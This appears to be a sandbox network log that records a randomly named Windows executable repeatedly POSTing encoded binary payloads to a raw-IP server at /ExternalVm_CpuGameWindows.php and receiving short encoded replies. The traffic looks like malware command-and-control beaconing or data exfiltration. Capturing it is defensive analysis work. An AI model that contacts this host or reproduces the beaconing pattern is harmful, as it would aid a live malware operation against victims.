Apr 20, 2024 00:42:12.706577063 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 27 02 3e 14 3a 55 20 21 20 59 2f 02 24 51 29 21 22 58 3a 0b 25 5a 2b 3f 0a 5d 29 2e 25 1a 2b 33 2b 06 26 32 2c 15 25 2f 36 55 39 3a 20 5a 01 11 24 18 27 2a 2c 53 25 33 36 5f 27 30 2e 5f 26 2d 04 15 24 3b 26 52 3d 3c 2a 0e 27 2b 3f 02 3e 16 0c 56 3c 59 23 43 26 02 2b 54 21 0e 20 50 0c 10 38 52 29 21 24 0e 31 2c 3c 09 26 3c 36 0b 20 2e 0a 50 26 06 2c 0e 22 0a 01 59 2b 08 2e 5f 3f 13 02 12 36 22 0a 5a 26 21 05 0f 2b 32 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'>:U ! Y/$Q)!"X:%Z+?]).%+3+&2,%/6U9: Z$',S%36_'0._&-$;&R=<'+?>V<Y#C&+T! P8R)!$1,<&<6 .P&,"Y+._?6"Z&!+2"^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:13.490075111 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:42:13.748466015 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:13.748842001 CEST	2568	OUT	Data Raw: 5a 52 5e 53 51 5d 5d 51 5d 56 5a 59 52 5c 56 57 54 5d 5c 5f 50 57 53 5d 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZR^SQ]]Q]VZYR\VWT]\_PWS]W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'$ :)W$8_2+Y7(8+"#2*8 ,8:.G#$Z-1
Apr 20, 2024 00:42:14.015285015 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:14.507934093 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:14.769402027 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:14.771763086 CEST	2568	OUT	Data Raw: 5f 54 5b 5c 54 59 5d 56 5d 56 5a 59 52 50 56 54 54 50 5c 59 50 51 53 5d 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _T[\TY]V]VZYRPVTTP\YPQS]W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Z$9E#5V&3'%,#8++:;X5=72&W*7U-.G#$Z-
Apr 20, 2024 00:42:15.039835930 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:15.533597946 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:15.791995049 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:15.792200089 CEST	2568	OUT	Data Raw: 5f 53 5b 5b 51 5f 58 50 5d 56 5a 59 52 59 56 54 54 5d 5c 5f 50 55 53 52 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _S[[Q_XP]VZYRYVTT]\_PUSRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$X0?"49U' <&3X#8<*+\6%R#1+< ]!/;R-.G#$Z-%
Apr 20, 2024 00:42:16.058840990 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:17.207940102 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:17.466619968 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:17.467660904 CEST	2568	OUT	Data Raw: 5f 55 5e 58 54 57 58 5e 5d 56 5a 59 52 59 56 5a 54 51 5c 5c 50 56 53 52 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U^XTWX^]VZYRYVZTQ\\PVSRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$3 >3&(7_"(?T+*^5Z9W72&T>^ 7T94.G#$Z-%
Apr 20, 2024 00:42:17.734189034 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49740	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:18.111947060 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2144 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:18.373658895 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:18.373832941 CEST	2144	OUT	Data Raw: 5a 56 5e 52 51 58 5d 51 5d 56 5a 59 52 5b 56 50 54 54 5c 59 50 57 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV^RQX]Q]VZYR[VPTT\YPWSYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$&,=4=3 ,^1;04;4(9+"#&T*?$ <;W:4.G#$Z--
Apr 20, 2024 00:42:18.641175985 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 1d 2a 03 32 1e 37 1c 3c 13 2f 3c 27 08 2a 1f 3e 58 2d 0c 36 07 2a 2c 28 5b 3e 3d 21 50 28 30 3b 01 27 54 24 5f 27 12 00 1d 3a 10 20 5a 01 11 24 19 24 29 20 52 30 33 08 5e 26 20 2e 11 31 3d 2e 5c 27 16 08 57 29 3f 29 53 27 2b 20 13 2a 28 36 51 3c 11 20 18 26 3c 3b 10 36 0e 20 50 0c 10 38 55 2a 0c 09 50 25 12 3b 1e 25 3f 04 0f 21 3d 24 57 27 2f 27 15 23 34 0e 04 2b 1f 26 5e 28 13 37 06 35 1c 2b 04 33 21 34 1e 3c 22 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$27</<'>X-6,([>=!P(0;'T$_': Z$$) R03^& .1=.\'W)?)S'+ (6Q< &<;6 P8U*P%;%?!=$W'/'#4+&^(75+3!4<""^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49741	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:19.241514921 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:19.500226021 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:19.500390053 CEST	2568	OUT	Data Raw: 5f 54 5e 5e 51 5c 58 51 5d 56 5a 59 52 59 56 50 54 51 5c 58 50 55 53 5a 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _T^^Q\XQ]VZYRYVPTQ\XPUSZW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'$)@4)V37&0"+'):3Y"<)"1")04?W,4.G#$Z-%
Apr 20, 2024 00:42:19.771672964 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49744	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:20.263535976 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:20.522178888 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:20.522360086 CEST	2568	OUT	Data Raw: 5a 55 5b 59 54 58 58 51 5d 56 5a 59 52 5b 56 53 54 52 5c 5d 50 5f 53 58 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZU[YTXXQ]VZYR[VSTR\]P_SXW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Z'/=A4_$/10#^(+3Y#< !? _4?:.G#$Z--
Apr 20, 2024 00:42:20.788465023 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49747	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:21.517446041 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:21.779643059 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:21.779851913 CEST	2568	OUT	Data Raw: 5f 56 5b 5c 51 5d 58 53 5d 56 5a 59 52 50 56 51 54 51 5c 5b 50 51 53 58 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _V[\Q]XS]VZYRPVQTQ\[PQSXW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$0<!@ !R& ,%+, ;'T<)8#,%"2-+/Z#?',$.G#$Z-
Apr 20, 2024 00:42:22.047909975 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49748	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:23.925194025 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2144 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:24.187011003 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:24.187284946 CEST	2144	OUT	Data Raw: 5a 52 5e 58 54 5d 58 56 5d 56 5a 59 52 5d 56 53 54 56 5c 53 50 56 53 5d 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZR^XT]XV]VZYR]VSTV\SPVS]W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Y09"5R'8Y24#^<()'",&#18[74..G#$Z-5
Apr 20, 2024 00:42:24.459186077 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 59 29 3a 26 54 34 0c 24 10 2f 3c 3c 50 2a 31 36 1c 2e 1c 3a 02 2a 06 3b 03 2a 3e 39 51 3c 0a 34 5b 24 32 02 5f 27 12 36 50 2e 10 20 5a 01 11 27 09 30 00 3f 0b 33 55 2a 5b 33 20 08 5a 25 2d 3a 16 25 28 25 0a 3e 2c 21 52 30 01 23 03 2a 16 36 51 3f 01 0d 41 32 02 33 1d 21 34 20 50 0c 10 3b 0a 29 21 3f 50 32 5a 33 55 25 2f 0b 55 37 3d 38 57 25 2f 0d 1b 36 1d 3b 59 28 57 3a 16 3c 3e 33 07 36 0c 27 02 33 08 38 11 28 22 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$Y):&T4$/<<P16.:;>9Q<4[$2_'6P. Z'0?3U[3 Z%-:%(%>,!R0#*6Q?A23!4 P;)!?P2Z3U%/U7=8W%/6;Y(W:<>36'38(""^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49752	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:27.643850088 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:27.902728081 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:27.902925968 CEST	2568	OUT	Data Raw: 5a 50 5b 59 54 5c 5d 54 5d 56 5a 59 52 5a 56 5a 54 57 5c 5d 50 5f 53 58 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZP[YT\]T]VZYRZVZTW\]P_SXW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$X'<" *&0'& #+')9'!>41),<]#, -.G#$Z-)
Apr 20, 2024 00:42:28.168226004 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:30.410389900 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:30.668905020 CEST	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:30.673126936 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2144 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:42:30.934751987 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:30.934984922 CEST	2144	OUT	Data Raw: 5a 55 5b 5f 54 5f 58 57 5d 56 5a 59 52 50 56 56 54 56 5c 5d 50 5f 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZU[_T_XW]VZYRPVVTV\]P_S^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$3,!A#9&$#2;#$)*^5!V#!+?3 /:.G#$Z-
Apr 20, 2024 00:42:31.203511000 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 12 2a 14 2e 52 21 22 3c 59 2f 12 02 19 28 32 36 1c 3a 0b 2e 06 3d 59 28 59 2a 3e 25 1b 3f 0a 28 59 24 32 23 07 27 12 07 09 2d 10 20 5a 01 11 27 43 24 07 0d 0c 24 1d 08 5a 24 56 32 5f 26 13 39 05 30 06 32 56 3d 12 13 11 33 16 38 11 29 38 3d 0f 28 11 3b 41 25 3c 09 1d 22 24 20 50 0c 10 38 53 29 1c 06 09 26 12 23 50 31 2f 29 56 23 2d 30 53 27 2f 3c 0e 22 24 30 07 3f 0f 3d 04 29 3e 3c 12 23 22 2c 5c 27 0f 23 0e 2b 18 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$.R!"<Y/(26:.=Y(Y>%?(Y$2#'- Z'C$$Z$V2_&902V=38)8=(;A%<"$ P8S)&#P1/)V#-0S'/<"$0?=)><#",\'#+"^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:30.949116945 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:42:31.210805893 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:42:31.210951090 CEST	2568	OUT	Data Raw: 5f 57 5b 5b 54 5f 58 53 5d 56 5a 59 52 50 56 5b 54 57 5c 58 50 52 53 53 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _W[[T_XS]VZYRPV[TW\XPRSSW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$'/!D4:)S'3#%]3] ((:+Y"?"7"!+?4/7R94.G#$Z-
Apr 20, 2024 00:42:31.481822968 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:42:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:42:33.973138094 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:42:34.231642962 CEST	25	IN	HTTP/1.1 100 Continue
